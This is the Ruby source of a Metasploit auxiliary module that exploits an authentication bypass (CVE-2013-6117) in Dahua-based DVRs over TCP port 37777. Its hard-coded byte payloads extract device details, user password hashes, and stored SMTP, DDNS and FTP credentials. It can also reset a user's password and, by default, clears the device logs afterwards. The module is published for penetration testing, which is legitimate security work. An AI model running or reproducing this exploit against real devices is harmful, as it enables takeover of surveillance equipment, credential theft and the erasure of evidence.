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6300758 Jul 24, 2017
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => %q(Dahua DVR Auth Bypass Scanner),
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
'Author' => [
'Tyler Bennett - Talos Consulting', # Metasploit module
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
'Nathan McBride' # regex extraordinaire
],
'References' => [
[ 'CVE', '2013-6117' ],
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
],
'License' => MSF_LICENSE,
'DefaultAction' => 'VERSION',
'Actions' =>
[
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
]
)
deregister_options('RHOST')
register_options([
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
Opt::RPORT(37777)
])
end
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
# Payload to grab version of the DVR
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab Email Settings of the DVR
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab DDNS Settings of the DVR
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab NAS Settings of the DVR
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Channels that each camera is assigned to on the DVR
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users Groups of the DVR
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users and their hashes from the DVR
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Serial Number of the DVR
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to clear the logs of the DVR
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
def setup
@password = datastore['PASSWORD']
@password ||= Rex::Text.rand_text_alpha(6)
end
def grab_version
connect
sock.put(VERSION)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
ver = Regexp.last_match[1]
print_good("#{peer} -- version: #{ver}")
end
def grab_serial
connect
sock.put(SN)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
serial = Regexp.last_match[1]
print_good("#{peer} -- serial number: #{serial}")
end
def grab_email
connect
sock.put(EMAIL)
return unless (response = sock.get_once)
data = response.split('&&')
print_good("#{peer} -- Email Settings:")
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
if mailhost = Regexp.last_match[1].split(':')
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
mailserver = "#{mailhost[0]}"
mailport = "#{mailhost[1]}"
muser = "#{data[5]}"
mpass = "#{data[6]}"
end
return if muser.blank? && mpass.blank?
print_good(" SMTP User: #{data[5]}")
print_good(" SMTP Password: #{data[6]}")
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
report_email_cred(mailserver, mailport, muser, mpass)
end
def grab_ddns
connect
sock.put(DDNS)
return unless (response = sock.get_once)
data = response.split(/&&[0-1]&&/)
ddns_table = Rex::Text::Table.new(
'Header' => 'Dahua DDNS Settings',
'Indent' => 1,
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
)
data.each_with_index do |val, index|
next if index == 0
val = val.split("&&")
ddns_service = val[0]
ddns_server = val[1]
ddns_port = val[2]
ddns_domain = val[3]
ddns_user = val[4]
ddns_pass = val[5]
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
if datastore['VERBOSE']
ddns_table.print
end
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
end
end
end
def grab_nas
connect
sock.put(NAS)
return unless (data = sock.get_once)
print_good("#{peer} -- NAS Settings:")
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
server = Regexp.last_match[1].unpack('C*').join('.')
port = Regexp.last_match[2].unpack('S')
end
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
ftpuser.strip!
ftppass.strip!
unless ftpuser.blank? || ftppass.blank?
print_good("#{peer} -- NAS Server: #{server}")
print_good("#{peer} -- NAS Port: #{port}")
print_good("#{peer} -- FTP User: #{ftpuser}")
print_good("#{peer} -- FTP Pass: #{ftppass}")
report_creds(
host: server,
port: port,
user: ftpuser,
pass: ftppass,
type: "FTP",
active: true)
end
end
end
def grab_channels
connect
sock.put(CHANNELS)
data = sock.get_once.split('&&')
channels_table = Rex::Text::Table.new(
'Header' => 'Dahua Camera Channels',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Channels']
)
return unless data.length > 1
data.each_with_index do |val, index|
number = index.to_s
channels = val[/([[:print:]]+)/]
channels_table << [ number, peer, channels ]
end
channels_table.print
end
def grab_users
connect
sock.put(USERS)
return unless (response = sock.get_once)
data = response.split('&&')
usercount = 0
users_table = Rex::Text::Table.new(
'Header' => 'Dahua Users Hashes and Rights',
'Indent' => 1,
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
)
data.each do |val|
usercount += 1
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
users_table << [ peer, user, md5hash, groups, rights, name]
# Write the dahua hash to the database
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
report_hash(rhost, rport, user, hash)
# Write the vulnerability to the database
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'dvr',
name: 'Dahua Authentication Password Hash Exposure',
info: "Obtained password hash for user #{user}: #{md5hash}",
refs: references
)
end
users_table.print
end
def grab_groups
connect
sock.put(GROUPS)
return unless (response = sock.get_once)
data = response.split('&&')
groups_table = Rex::Text::Table.new(
'Header' => 'Dahua groups',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Group']
)
data.each do |val|
number = "#{val[/(([\d]+))/]}"
groups = "#{val[/(([a-z]+))/]}"
groups_table << [ number, peer, groups ]
end
groups_table.print
end
def reset_user
connect
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
sock.put(u1)
sock.put(u2)
sock.put(u3)
sock.get_once
sock.put(u1)
return unless sock.get_once
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
end
def clear_logs
connect
sock.put(CLEAR_LOGS1)
sock.put(CLEAR_LOGS2)
print_good("#{peer} -- logs cleared")
end
def peer
"#{rhost}:#{rport}"
end
def run_host(_ip)
begin
connect
sock.put(U1)
data = sock.recv(8)
disconnect
return unless data == DVR_RESP
print_good("#{peer} -- Dahua-based DVR found")
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
case action.name.upcase
when 'CHANNEL'
grab_channels
when 'DDNS'
grab_ddns
when 'EMAIL'
grab_email
when 'GROUP'
grab_groups
when 'NAS'
grab_nas
when 'RESET'
reset_user
when 'SERIAL'
grab_serial
when 'USER'
grab_users
when 'VERSION'
grab_version
end
clear_logs if datastore['CLEAR_LOGS']
ensure
disconnect
end
end
def report_hash(rhost, rport, user, hash)
service_data = {
address: rhost,
port: rport,
service_name: 'dahua_dvr',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'dahua_hash',
username: user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
service_data = {
address: ddns_server,
port: ddns_port,
service_name: 'ddns settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: ddns_pass,
private_type: :password,
username: ddns_user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_email_cred(mailserver, mailport, muser, mpass)
service_data = {
address: mailserver,
port: mailport,
service_name: 'email settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: mpass,
private_type: :password,
username: muser
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end